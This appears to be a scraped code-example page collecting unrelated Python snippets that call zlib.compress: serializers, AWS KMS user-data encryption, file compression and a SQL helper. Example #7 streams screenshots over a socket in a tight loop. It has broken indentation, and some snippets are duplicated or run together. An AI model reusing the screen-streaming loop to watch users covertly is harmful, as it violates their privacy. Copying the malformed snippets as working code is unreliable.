Пример #1
0
 def dumps(cls, obj, protocol=2):
   s = dumps(obj, protocol)
   sz = zlib.compress(s, 9)
   if len(sz) < len(s):
     return sz
   else:
     return s
Пример #2
0
 def dumps(cls, obj, protocol=2):
     s = dumps(obj, protocol)
     sz = zlib.compress(s, 9)
     if len(sz) < len(s):
         return sz
     else:
         return s
Пример #3
0
    def run(self, **kwargs):
        self.kwargs = kwargs
        try:
            key_id = self.kwargs['key_id']

            if self.kwargs['data'].startswith('@'):
                path = self.kwargs['data'][1:]

                try:
                    with open(path, 'rb') as fh:
                        data = fh.read(-1)

                except Exception as ex:
                    self.log.exception(
                        'Failed loading data from file: {}'.format(ex))
                    return
            else:
                data = kwargs['data']

            session = get_local_aws_session()
            if session.get_credentials().method != 'iam-role':
                kms_account_name = app_config.kms_account_name
                if not kms_account_name:
                    print(
                        'you must set the kms_account_name setting in your configuration file to the name of the '
                        'account that is able to decrypt the user data')
                    return
                acct = Account.get(kms_account_name)
                if not acct:
                    print(
                        'You must add the {} account to the system for this to work'
                        .format(kms_account_name))
                    return

                session = get_aws_session(acct)

            kms = session.client('kms',
                                 region_name=self.dbconfig.get(
                                     'region', self.ns, 'us-west-2'))
            if kwargs['mode'] == 'encrypt':
                if not kwargs['key_id']:
                    print(
                        'You must provide a key id to use for encryption to work'
                    )
                    return

                compressed = zlib.compress(
                    bytes(json.dumps(json.loads(data)), 'utf-8'))
                res = kms.encrypt(KeyId=key_id, Plaintext=compressed)
                self.output(res['CiphertextBlob'])
            else:
                res = kms.decrypt(CiphertextBlob=b64decode(data))
                self.output(
                    json.dumps(json.loads(
                        str(zlib.decompress(res['Plaintext']), 'utf-8')),
                               indent=4))

        except Exception:
            self.log.exception(
                'An error occured while doing userdata.py stuff')
Пример #4
0
 def _generic_serialize(cls, *obj):
     """Serialization of general objects using cPickle and optional gzip compression"""
     if len(obj) == 1:
         obj = obj[0]
     res = dumps(obj)
     if Config.COMPRESS_SERIALIZATION and  \
        len(res) > Config.COMPRESS_LIM and \
        len(obj) >= 4:                     # Avoid multiple compressing
         return zlib.compress(res)
     else:
         return "P" + res
Пример #5
0
def zlib_compress(args):
    compressionLevel = int(args[1], 0) if len(args) > 1 else None
    startAddr = int(args[2], 0) if len(args) > 2 else None
    endAddr = int(args[3], 0) if len(args) > 3 else None

    inFile = open(args[0], 'rb').read()
    compressedData = zlib.compress(inFile[startAddr:endAddr], compressionLevel)

    outFile = open(args[0] + ".comp", 'wb')
    outFile.write(compressedData)
    outFile.close()
def zlib_compress(args):
    compressionLevel = int(args[1], 0) if len(args) > 1 else None
    startAddr = int(args[2], 0) if len(args) > 2 else None
    endAddr = int(args[3], 0) if len(args) > 3 else None

    inFile = open(args[0], 'rb').read()
    compressedData = zlib.compress(inFile[startAddr:endAddr], compressionLevel)

    outFile = open(args[0] + ".comp", 'wb')
    outFile.write(compressedData)
    outFile.close()
Пример #7
0
	def start(self):
		sock = self.create_socket()
		while True:
			try:
				stream_buffer = io.BytesIO()
				ImageGrab.grab().save(stream_buffer,'PNG')
			  	screenshot = stream_buffer.getvalue()
			  	# Compress screenshot
			  	screenshot = zlib.compress(screenshot)
			  	sock.sendall(screenshot)
			  	time.sleep(0.1)
			 except:
				print "[!] Error starting client.... trying again"
				time.sleep(2)
Пример #8
0
def _encrypt_userdata(cleartext, secret):
    hmacKey, encKey, salt = _derive_keys(secret)

    # get 128 bit random iv
    iv = os.urandom(16)

    # Add HMAC to cleartext so that we can check during decrypt if we got
    # the right cleartext back. We are doing sign-then-encrypt, which lets
    # us encrypt empty cleartext (otherwise we'd need to pad with some
    # string to encrypt). Practical Cryptography by Schneier & Ferguson
    # also recommends doing it in this order in section 8.2.
    mac = hmac.new(hmacKey, cleartext + iv + salt, hashlib.sha256).hexdigest()
    ciphertext = _encipher(
        zlib.compress(cleartext + to_bytes(mac)), encKey, iv, algorithms.AES)

    return (
        base64.b64encode(iv + salt + ciphertext)
        .strip()
        .replace(b'\n', b'')
    )
Пример #9
0
def gz(*args):
    """
    .. function:: gz(text) -> gzip compressed blob

    Function *gz* compresses its input with gzip's maximum compression level.

    Examples:

    >>> table1('''
    ... "qwerqewrqwerqwerqwerqwerqwer"
    ... "asdfasdfasdfasdfasdfasdfsadf"
    ... ''')
    >>> sql("select length(a), length(gz(a)) from table1")
    length(a) | length(gz(a))
    -------------------------
    28        | 20
    28        | 18

    """

    return buffer(zlib.compress(args[0], 9))
Пример #10
0
def gz(*args):
    """
    .. function:: gz(text) -> gzip compressed blob

    Function *gz* compresses its input with gzip's maximum compression level.

    Examples:

    >>> table1('''
    ... "qwerqewrqwerqwerqwerqwerqwer"
    ... "asdfasdfasdfasdfasdfasdfsadf"
    ... ''')
    >>> sql("select length(a), length(gz(a)) from table1")
    length(a) | length(gz(a))
    -------------------------
    28        | 20
    28        | 18

    """

    return buffer(zlib.compress(args[0], 9))
"""Please write a program to compress and decompress the string "hello world!hello world!hello world!hello world!"."""
from gzip import zlib as z

strr = '"hello world!hello world!hello world!hello world!"'
strr = strr.encode('utf-8')
t = z.compress(strr, 1)
print(t)
t = z.decompress(t)
print(t)